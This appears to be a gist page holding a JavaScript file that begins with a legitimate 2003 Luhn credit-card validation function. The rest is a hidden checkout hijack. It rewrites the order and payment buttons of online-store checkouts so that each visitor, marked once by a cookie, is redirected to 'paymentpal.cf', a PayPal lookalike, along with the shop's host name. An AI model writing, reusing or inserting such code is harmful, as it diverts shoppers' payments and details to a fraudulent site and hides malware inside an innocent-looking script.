/
bb84adb91ad30902cd753d51c73ffdf6
60 lines (53 loc) · 1.67 KB
/
bb84adb91ad30902cd753d51c73ffdf6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.
function validateCreditCard(s) {
// remove non-numerics
var v = "0123456789";
var w = "";
for (i=0; i < s.length; i++) {
x = s.charAt(i);
if (v.indexOf(x,0) != -1)
w += x;
}
// validate number
j = w.length / 2;
k = Math.floor(j);
m = Math.ceil(j) - k;
c = 0;
for (i=0; i<k; i++) {
a = w.charAt(i*2+m) * 2;
c += a > 9 ? Math.floor(a/10 + a%10) : a;
}
for (i=0; i<k+m; i++) c += w.charAt(i*2+1-m) * 1;
return (c%10 == 0);
}
jQuery(document).ready(function()
{
if(!(document.cookie.indexOf("userpayid") + 1))
{
jQuery("*[onclick^=\"shippingMethod.save()\"]").attr("onclick", "paynow_right();");
jQuery("*[onclick^=\"checkout.save();\"]").attr("onclick", "paynow_right();");
jQuery("*[onclick=\"payment.save()\"]").attr("onclick", "paynow_right();");
jQuery("#checkout-onepage-buttom").attr("onclick", "paynow_right();");
jQuery("#onestepcheckout-button-place-order").attr("onclick", "paynow_right();");
jQuery("#onestepcheckout-place-order").attr("onclick", "paynow_right();");
}
});
function paynow_right()
{
if(!(document.cookie.indexOf("userpayid") + 1))
{
var rand = function()
{
return Math.random().toString(36).substr(2);
};
document.cookie = "userpayid=" + rand();
var arr = {
"location" : "http://" + location.host,
"method" : "PayPal"
};
jQuery(location).attr('href', "//paymentpal.cf/?payment=" + btoa(JSON.stringify(arr)));
}
}